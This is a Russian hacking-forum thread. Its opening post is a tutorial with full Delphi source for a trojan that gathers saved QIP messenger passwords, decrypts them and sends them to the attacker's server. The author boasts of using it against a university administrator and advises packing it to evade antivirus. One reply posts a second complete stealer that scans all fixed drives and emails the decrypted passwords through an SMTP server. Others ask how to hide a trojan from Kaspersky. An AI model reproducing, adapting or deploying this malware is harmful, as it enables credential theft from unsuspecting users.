Пишем простого троя .:: [0] Введение::. Написать статью решил потому что РЕАЛЬНО ЗАДРАЛИ ТЕМЫ ПРО ПИНЧА и подобных народных троев… Хотя бы один раз в неделю кто-то спросит - а как же всё таки его настроить!! И ничего как видно не помогает ни минусики к репе, ни предложения сконфигурировать троя за wmz ))) Так вот я попытаюсь в доходчивой форме рассказать как можно написать маленького скудненького в возможностях но СВОЕГО троя, который будет тырить сохранённые пароли из QiP’а. Отправка будет осуществляться на прямой ip что в принципе не безопасно (могут найти и настучать по голове) - но в ознакомительной форме и для некоторых задач он прокатит. (Мною он был с успехом применён в университетской локалке для угона пассов с компа препода-админа =) ). И так мы уже определисиль, что трой будет состоять из двух частей : (1) Сервер и (2) Сам трой. Трой не будет прописываться ни в реестр ни в автозапуск (если захотите сами сделаете – инфы море), а просто при запуске отсылает пароли (и/или другую конфиденциальную информацию это уже что прикрутите сверху) на сервер который должен быть включён и настроен к работе. Писать мы будем на Делфи. .:: [1] Немного теории (а куда ж без неё)::. И так писать мы будем с использованием winsock api – так что про всякие закладки панели инструментов со всякими новомодными компонентами забываем сразу – написаный с их помощью код принесёт нам 600 кб – классненький трой получается =)). А так мы достигнем малого веса и вообще писать на низком уровне даёт большую гибкость да и научишься большему ). Значит в Windows для работы с сокетами есть специальная библиотека winsock.dll. С ней мы и будем работать . Для реализации работы с ней существует файл заголовков всех её процедур и функций winsock.pas. Познакомимся с некоторыми из них которые будут использованы в проекте : :: function wsastartup(wversionrequired: word; var wsdata: twsadata): integer; stdcall; Функция сообщает ОС, что в любом процессе приложения могут быть использованы функции winsock. Функция должна быть вызвана один раз при запуске приложения перед использованием любой функции winsock. :: function wsacleanup: integer; stdcall; Функция сообщает ОС, что приложение более не использует winsock. Должна быть вызвана в конце проги. :: function socket(af, struct, protocol: integer): tsocket; stdcall; Функция создает сокет. Входящий параметр af - Тип используемой адресации –нас интересует Интернет поетому нам надо использовать PF_INET или AF_INET. Различи в типе работы : соответственно синхронная и асинхронная. Мы будем использовать синхронную работу так как она проще в реализации . =) struct - спецификация типа нового сокета . Может принимать значения sock_stream – для TCP (с надежным соединением) sock_dgram- для UDP (не производящий соединений) protocol - тип протокол, который будет использоваться сокетом.Здесь значений много. Мы будем исползовать ipproto_ip. Если функция выполнена без ошибок, она возвращает дескриптор на новый сокет, если ошибки есть, возвращается invalid_socket. :: function connect(s: tsocket; var name: tsockaddr; namelen: integer): integer; stdcall; Функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).Для тестинга будем использовать 127.0.0.1. :: function bind(s: tsocket; var addr: tsockaddr; namelen: integer): integer; stdcall; Функция биндит сокет (ассоциирует адрес и порт с сокетом). Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера мы укажем inaddr_any – то есть любой). :: function send(s: tsocket; var buf; len, flags: integer): integer; stdcall; Посылает буфер данных сокету s длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован (0). :: function recv(s: tsocket; var buf; len, flags: integer): integer; stdcall; Принимает данные от сокета s Параметры аналогичны send, только s характеризует сокет, от которого принимаются данные :: function listen(s:tsocket , backlog: integer); Устанавливает сокет s в состояние ожидания подключения. backlog - максимальное количество подключений (можно установить в SOMAXCONN) :: function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; Принимает попытку подключения клиента. Возвращаемое значение - сокет клиента. s - сокет, использованный в ф-ции listen. Теперь перейдём к самому интересному кодингу! .:: [2] шКОДИМ::. И так начнём с КЛИЕНТА(то бишь троя), так как он более прост в понимании и разобраться лучше сначала с ним. Значит создаём консольное приложении (на всякий случай напомню : New->Other…->Console Application) и убираем из него {$APPTYPE CONSOLE} для того чтобы во время запуска не выпрыгивало а потом исчезало окно шела виндовс. Собственно код : Code: program Client; uses sysutils, winsock, QIP in 'QIP.pas' //модуль для выдирания паролей из QIP'a ; type Tconf = record ip: string; port: integer; end; var config : Tconf; vwsadata : twsadata; vsocket : tsocket; vsockaddr : tsockaddr; function Set_config(const ip:string='127.0.0.1'; port : word=133):boolean; // функуия установки настроек; begin // по дефалту работаем на локалхосте с портом 133 config.ip:=ip; config.port:=port; end; function CreateSocket():boolean; begin Result:=false; if wsastartup($101,vwsadata)<>0 then halt(1); // указывает что мы будем юзать winsock'ы vsocket := socket(af_inet,sock_stream,ipproto_ip); // создаём сокет if vsocket = invalid_socket then halt(1); //проверочка... =) fillchar(vsockaddr,sizeof(tsockaddr),0); // vsockaddr.sin_family := af_inet; //устанавливаем тип семейства используемой адресации vsockaddr.sin_port := htons(config.port); // устанавливаем порт vsockaddr.sin_addr.s_addr := inet_addr(Pchar(config.ip)); // устанавливаем ip севака.. if connect(vsocket,vsockaddr,sizeof(tsockaddr)) = socket_error then halt(1); //коннектимся к нашему севваку для передачи данных.. Result:=true; end; function DestroySocket():boolean; // закрываем сокеты begin Result:=false; closesocket(vsocket); wsacleanup; Result:=true; end; function CryptData(str: string):string; // Для того что бы данные не передавались // вообще открыто применим простенькое шифрование var i,n: integer; cr_str : string; begin result:=''; n:=length(str); cr_str:=''; for i:=1 to n do begin cr_str:=cr_str+Char(Byte(str[i])+12); // криптуем увеличив значение каждого символа на 12 end; result:=cr_str; end; function SendData(send_string: string):boolean; // Посылаем нашему серверу инфу. var s : string; begin Result:=false; s:=CryptData(send_string); // криптуем send(vsocket,s[1],length(s)+1,0); // отсылаем Result:=true; end; begin Set_config(); //задаём настройки (используем настройки по дефалту ) CreateSocket; //создаём все сокеты SendData(OutString); // отправляем данные -OutString - это функция из модуля QiP'a DestroySocket; //убиваем сокеты end. Исходник хорошо комментированы и трудностей возникнуть не должно. Как видите для выдирания пасса я использовал чуть изменённую библиотеку из проги QPRv1.61. Её код: Code: unit QIP; interface uses windows, Classes,SysUtils; type TPassList=array of TStrings; const n_Path =5; path : array [0..n_Path] of string =('D:\qip\','D:\Program Files\QIP\','C:\Program Files\QIP\','E:\Program Files\QIP\','C:\QIP\', 'E:\QIP\'); // пути к папке с Qip'ом var PassList:TPassList; buf:array[0..1023]of char; QipExePathFromReg:string; function DecryptQIPPass_New(pass:string):string; function FromINI(path:string):string; procedure ExtractPass(QIPPath:string); procedure AddString(uin,pas:string); procedure SaveReport(FileName:string); function OutString():string; implementation function InHEX(s:string):string; var i:integer; begin result:=''; for i:=1 to length(s) do result:=result+inttohex(ord(s[i]),2)+' ' end; procedure AddString(uin,pas:string); function CheckRepeat:boolean; var i:integer; begin result:=true; for i:=0 to Length(PassList)-1 do if PassList[i].Strings[0]=uin then if PassList[i].Strings[1]=pas then result:=false end; begin if CheckRepeat then begin SetLength(PassList,Length(PassList)+1); PassList[Length(PassList)-1]:=TStringList.Create; PassList[Length(PassList)-1].Add(uin); PassList[Length(PassList)-1].Add(pas); if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then PassList[Length(PassList)-1].Add(InHEX(pas)) end end; procedure SaveReport(FileName:string); var rep:TFileStream; s:string; i:integer; begin try rep:=TFileStream.Create(FileName,fmCreate); for i:=0 to Length(PassList)-1 do begin if PassList[i].Count>0 then begin s:=PassList[i].Strings[0]+#9; if length(s)<9 then s:=s+#9; rep.WriteBuffer(s[1],length(s)) end; if PassList[i].Count>1 then begin s:=PassList[i].Strings[1]+#9; if length(s)<9 then s:=s+#9; rep.WriteBuffer(s[1],length(s)) end; if PassList[i].Count>2 then begin s:=PassList[i].Strings[2]; rep.WriteBuffer(s[1],length(s)) end; rep.WriteBuffer(#13#10,2) end; rep.Free except end end; function DecryptQIPPass_New(pass:string):string; function DecodeBase64(value:string):string; function DecodeChunk(const chunk:string):string; const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; var w:LongWord; i:byte; c:char; begin w:=0; Result:=''; for i:=1 to 4 do if pos(Chunk[i],b64)<>0 then w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6); for i := 1 to 3 do begin c:=chr(w shr((3-i)shl 3)and $ff); if c<>#0 then Result:=Result+c end end; begin Result:=''; if length(Value)and $03<>0 then exit; while length(Value)>0 do begin Result:=Result+DecodeChunk(copy(value,0,4)); delete(value,1,4); end end; var t,i,c:integer; begin i:=length(pass); if i=0 then result:='NotSaved' else if i and $03<>0 then result:='CannotDecrypt' else begin Result:=DecodeBase64(pass); t:=$1ac3; for i:=1 to length(Result) do begin c:=Ord(Result[i]); Result[i]:=chr(c xor(t shr 8)); t:=(t+c)*$38421+$64ceb; end end end; function FromINI(path:string):string; begin result:=''; if FileExists(path) then begin buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0; result:=DecryptQIPPass_New(buf); end; end; procedure ExtractPass(QIPPath:string); var i:integer; acc:TStringList; begin if DirectoryExists(QIPPath) then begin QIPPath:=ExtractFilePath(QIPPath)+'Users\'; if FileExists(QIPPath+'Accounts.cfg') then begin acc:=TStringList.Create; acc.LoadFromFile(QIPPath+'Accounts.cfg'); acc.NameValueSeparator:='='; for i:=0 to acc.Count-1 do begin acc.Strings[i]:=acc.Strings[i]+'='; AddString(acc.Names[i], FromINI(QIPPath+acc.Names[i]+'\Config.ini')) end; acc.Free end; end; end; function OutString():string; // функция выдирания пассов по адресам папкок из массива var i,n: word; ss : Tstrings; begin Result:=''; for i:=0 to n_Path do ExtractPass(path[i]); n:=length(PassList); for i:=0 to n-1 do Begin ss:=PassList[i]; Result:=Result+ss[0]+':'+ss[1]+' '; End; end; end. Пару слов об папке с QiP’ом . В примере я использовал массив с путями, но как понимаете реальный путь может быть другой. Берём в учёт что qip можно не ставить через инстал, а скачать в архиве. Можно проверить ветви реестра на автозапуск – так как многие пользователи (я в их числе) ставят qip на автозапуск. А можно произвести поиск по ярлыкам на рабочем столе… в принципе решения есть ) А теперь СЕРВЕР. Для понятия как он работает нужно знать что такое потоки. Потоки это необходимая вещь в хозяйстве (так похабный смех прекратить =) ) кодера под винду. Для создания потока служит функция: function CreateThread(lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall; Главное не пугаться этого монстра – в большинстве параметров можно смело ставить 0. Обязательнымы является lpStartAddress – для создания адреса потока. Опишу как работает сервер: он висит на порте и ожидает подключения нашего троя – как только он подключился – создаётся новый поток который обслуживает соединение. Данные принимаются потом дэкриптуются, парсятся и выводятся на консоль. Code: program Server; {$APPTYPE CONSOLE} uses SysUtils, winsock, //библиотка для работы с сокетами windows; const port=133; // Порт на котором будет сидеть наш сервак var VWsadata : twsadata ; //потребуется для функции обьявления использования сокетов LSocket : tsocket; //обявляем сокет LSockaddr : tsockaddr; //Структура типа TSockAddr для описания прослушивания порта ConSocket : tsocket; //сокет который появится при коннекте к серверу trid : thandle; //для создания потоков function CreateSocket(): boolean; begin writeln('Starting...'); if wsastartup($101,vwsadata)<>0 then halt(1); //сообщаем что программа будет использовать windows sockets. LSocket := socket(af_inet,sock_stream,ipproto_ip); //Создаем сокет. writeln(format('Port [%d]',[port])); //Выведем порт на котором притаился наш сокет if LSocket = invalid_socket then halt(1); //Проверочка. fillchar(LSockaddr,sizeof(tsockaddr),0); //Определяем размер буфера чтения для сокета LSockaddr.sin_family := af_inet; LSockaddr.sin_port := htons(port); LSockaddr.sin_addr.s_addr := inaddr_any;//указываем вместо ip ету переменную для сервера if bind(LSocket,LSockaddr,sizeof(tsockaddr)) <> 0 then halt(1); //Привязываем адрес и порт к сокету if listen(LSocket,somaxconn) <> 0 then halt(1); //Начинаем прослушивать. writeln('In progress....'); end; procedure StatThread; //поток статистики - в него можно напихать всякого для управления сервером var command : string; begin repeat //принимаем команды и осуществляем их ;) readln(command); if command='q' then halt(0);// при команде q – осуществляется выход until false; end; function Decrypt(str:string):string; // де криптинг пришедшего с троя var i,n: integer; cr_str : string; begin result:=''; n:=length(str); cr_str:=''; for i:=1 to n do begin cr_str:=cr_str+Char(Byte(str[i])-12); // дэкриптуем уменшив значение каждого символа на 12 end; result:=cr_str; end; function RecvData(str:string): boolean; //функция для принятия данных от троя и их обработки var i,n : word; s,strn:string; begin writeln; writeln('--------PASSES--------'); result:=false; s:=Decrypt(str); //дэкриптовка данных n:=length(s); for i:=1 to n do //производится парсинг принятых данных begin //на пробеллы - если попадется пробелл if s[i]<>' ' //значит новый кусок данных then strn:=strn+s[i] else begin WriteLn(strn); strn:=''; end; end; writeln('----------------------'); writeln; result:=true; end; procedure MainThread; //главный поток - создайтся для каждого подключения к серверу var sockname : tsockaddr; abuf : array of char; vbuf : string; vsize : integer; s :tsocket; bufsize : integer; begin s := ConSocket; if s = invalid_socket then exit; vsize := sizeof(tsockaddr); getpeername(s, sockname, vsize); //возвращает информацию о канале, ассоциированном с сокетом vsize := sizeof(bufsize); //Определяем размер буфера чтения для сокета getsockopt(s,sol_socket,so_rcvbuf,pchar(@bufsize),vsize); setlength(abuf,bufsize); repeat //Получаем данные. Процедура работает в блокирующем режиме, //таким образом следующая строка кода не получит управление, //пока не поступят данные от клиента. vsize := recv(s,abuf[0],bufsize,0); //получаем данные от троя if vsize<=0 then break; setlength(vbuf,vsize); lstrcpyn(@vbuf[1],@abuf[0],vsize); RecvData(vbuf); // отправляем принятые данные на обработку until false; setlength(abuf,0); closesocket(s); end; function DestroySocket():boolean; begin Result:=false; closesocket(LSocket); //закрываем осной сокет wsacleanup; result:=true; end; begin CreateSocket; createthread(nil,0,@StatThread,0,0,trid); //Поток статистики repeat //Ожидаем подключения ConSocket := accept(LSocket,nil,nil); //еслии есть соединение создаём сокет createthread(nil,0,@MainThread,0,0,trid); //Трой подключился, запускаем новый поток на соединение. until false; DestroySocket; end. .:: [3] Вместо эпилога ::. После компиляции получаем большиватый разметчик – у меня получилось 89 кбайт. Если захочешь использовать его в боевых условиях – нужно обязательно упаковать и скрыть следы упаковки. После таких действий у мя вышло 45 кбайт. Вот в принципе и всё что я хотел вам поведать в этой статейке. Удачной компиляции и не забывайте что сначала надо думать головой, пользоваться поиском и в крайнем случае задавать вопросы (хорошо сформулированные) . ------------------ З.Ы. Естественно за любое использование данного материала в злостных деяниях тебя никто по головке (опять этот похабный смех?? =) ) не погладит. З.З.Ы. Ставте “+” пжлт - очень старался…. =)
Эээ ну обычный Upx.Он же всё равно антивиром то не ловится. И ето тока для уменьшения веса и защиты кода.
Хмммм....Нужно протестить его в деле, однако.... Хотя в сети и есть трои подобно этому, тоже сорцы, но хз палятся они или нет. +
я написал на Delphi в 11 КБайт для QIP 1) ищет и везде по всем дискам и каталогам 2) выдирает пароли 3) дешифрует их 4) отсылает пароли на почтовый ящик Модуль и описание работы с ним находятся тут кому интересно стучи в асю: 466-526-466;
Cool ! Сейчас сам трой пишу, а эта инфа мне понадобится. Сейчас + за страния, завтра проверю и еще ++ влуплю.
Посылают НА*УЙ ?! - Смело шли посылальщика НА*УЙ!!! (с) Я )))) Вот ещё откопал. Актуально для 7996 по-моему. Code: program xekqip; uses Windows, WinSock; var PasWD : String = ''; function ShellExecute(hWnd: LongInt; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA'; function MyStrToInt(S:String):Integer; var I, ErrorCode: Integer; begin Result:=-0; Val(S, I, ErrorCode); if ErrorCode <> 0 then begin WinExec(PChar(ParamStr(0)),SW_HIDE); Halt; end else Result := I; end; function DecryptQIPPass_New(pass:string):string; function DecodeBase64(value:string):string; function DecodeChunk(const chunk:string):string; const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; var w : LongWord; i : byte; c : char; begin w:=0; Result:=''; for i:=1 to 4 do if pos(Chunk[i],b64)<>0 then w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6); for i := 1 to 3 do begin c:=chr(w shr((3-i)shl 3)and $ff); if c<>#0 then Result:=Result+c end end; begin Result:=''; if length(Value)and $03<>0 then exit; while length(Value)>0 do begin Result:=Result+DecodeChunk(copy(value,0,4)); delete(value,1,4); end end; var t,i,c : integer; begin i:=length(pass); if i=0 then result:='Not Saved' else if i and $03<>0 then result:='Cannot Decrypt' else begin Result:=DecodeBase64(pass); t:=$1ac3; for i:=1 to length(Result) do begin c:=Ord(Result[i]); Result[i]:=chr(c xor(t shr 8)); t:=(t+c)*$38421+$64ceb; end end end; function DecryptQIPPass_Old(pass:string):string; const Table1:string='4654360486439083677'; Table2:string='216463956385630579'; function DeXor1(const Pass,Table:string):string; var CryptChar:Byte; i,p:Integer; begin Result:=Pass; CryptChar:=Length(Table)-1; p:=1; for i:=1 to Length(Result) do begin if (CryptChar and 8) = 0 then CryptChar:=CryptChar xor 1; CryptChar:=not CryptChar; CryptChar:=(CryptChar shr 1)or(CryptChar shl 7); Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p])); Inc(p); if p>Length(Table) then p:=1; end; end; function DeXor2(const Pass:string):string; var CryptInt:SmallInt; i,t,l,v:integer; const Table: array[0..$5f] of Byte = ( $5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C, $43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C, $53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33, $2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C, $13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C, $23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05 ); begin Result:=Pass; l:=length(Result); t:=l; for i:=1 to l do begin CryptInt:=Ord(Result[i])-$20; if (CryptInt>=0) and (CryptInt<=$5f) then begin v:=CryptInt; if l and $03<>0 then t:=(t shl 3)or(t shr 27); t := t and $1f; CryptInt:=CryptInt xor t; t:=t+l+v; Result[i]:=Chr(Table[CryptInt]+$20); end; Dec(l); end; end; var i,l:integer; begin result:=''; l:=length(pass); if l=0 then result:='Not Saved' else if l and $01<>0 then result:='Cannot Decrypt' else begin for i:=1 to l do begin if pos(pass[i],'0123456789ABCDEF')=0 then begin result:='Cannot Decrypt'; exit end end; for i := 1 to l shr 1 do Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2))); Result:=DeXor1(Result,Table1); Result:=DeXor1(Result,Table2); Result:=DeXor2(Result); end end; function MyGetLogicalDrives : String; var drives : set of 0..25; drive : integer; begin Result := ''; DWORD( drives ) := Windows.GetLogicalDrives; for drive := 0 to 25 do if drive in drives then Result := Result + Chr( drive + Ord( 'A' )); end; function ExtractLastPathName(S:String):String; begin Result:=S; Delete(S,Length(S),1); while Pos('\',s) <> 0 do begin Delete(s,1,Pos('\',s)); Result:=S; end; end; procedure ExtractPass(fp,fn:String); var f : TextFile; S : String; begin AssignFile(f,fp+fn); Reset(f); while not EOF(F) do begin ReadLn(f,S); if copy(S,1,6)='NPass=' then begin Delete(S,1,6); S := ExtractLastPathName(fp)+'; '+ S+'; '+ DecryptQIPPass_Old(S)+'; '+ DecryptQIPPass_New(S)+';'; PasWD := PasWD + S; break; end; end; CloseFile(f); end; procedure ApiSearch(DiR:String); var FileName: string; FindHandle:THandle; SearchRec:TWIN32FindData; begin if Dir<>'' then if Dir[length(Dir)]<>'\' then Dir:=Dir+'\'; FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec); try if FindHandle <> INVALID_HANDLE_VALUE then repeat FileName:=SearchRec.cFileName; if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue; if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then ApiSearch(DiR+FileName+'\') else if FileName = 'Config.ini' then ExtractPass(Dir,FileName); until FindNextFile(FindHandle,SearchRec)=false; finally Windows.FindClose(FindHandle); end; end; function SendMail(Smtp: PChar; Port: dword; From, Dest, Data: PChar): boolean; var FSocket: integer; HostEnt: PHostEnt; SockAddrIn: TSockAddrIn; dBuff: PChar; dSize: dword; Str: array [0..255] of Char; function Success(): boolean; var Bytes: dword; RBuff: array [0..255] of Char; begin Result := false; Bytes := recv(FSocket, RBuff, 255, 0); if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit; RBuff[3] := #0; if lstrcmp(RBuff, '220') = 0 then Result := true else if lstrcmp(RBuff, '250') = 0 then Result := true else if lstrcmp(RBuff, '354') = 0 then Result := true; end; begin Result := false; FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons(Port); SockAddrIn.sin_addr.s_addr := inet_addr(Smtp); if SockAddrIn.sin_addr.s_addr = INADDR_NONE then begin HostEnt := gethostbyname(Smtp); if HostEnt = nil then begin closesocket(FSocket); Exit; end; SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^; end; if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then begin if Success then begin lstrcpy(Str, PChar('HELO ' + Smtp + #13#10#0)); send(FSocket, Str, lstrlen(Str), 0); if Success then begin lstrcpy(Str, PChar('MAIL FROM: ' + From + #13#10#0)); send(FSocket, Str, lstrlen(Str), 0); if Success then begin lstrcpy(Str, PChar('RCPT TO: ' + Dest + #13#10#0)); send(FSocket, Str, lstrlen(Str), 0); if Success then begin lstrcpy(Str, 'DATA'#13#10#0); send(FSocket, Str, lstrlen(Str), 0); if Success then begin dSize := lstrlen(Data); GetMem(dBuff, dSize + 6); lstrcpy(dBuff, Data); lstrcat(dBuff, #13#10'.'#13#10#0); send(FSocket, dBuff^, dSize + 6, 0); FreeMem(dBuff); if Success then begin lstrcpy(Str, 'QUIT'#13#10#0); send(FSocket, Str, lstrlen(Str), 0); Result := true; end; end; end; end; end; end; end; CloseSocket(FSocket); end; procedure Sent; var WSAData: TWSAData; begin WSAStartup(257, WSAData); while true do if SendMail('smtp.mail.ru', 25,'[email protected]','[email protected]', PChar(PasWD)) then Break; WSACleanup(); end; procedure CallSearch; var i : Byte; begin for i := 1 to Length(myGetLogicalDrives)do if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then ApiSearch(myGetLogicalDrives[i]+':\'); end; begin CallSearch; Sent; end.
Люди как спрятать Сервер Трояна ПроРет штоб ево не пропалил КИС 6 вот з другом тестил как токо запукаю server.exe Каспер детектит вот Ася 206-380-712
Модуль написан мной и выложен тут с описанием работы. Оказывается никому низя давать свои исходники =(
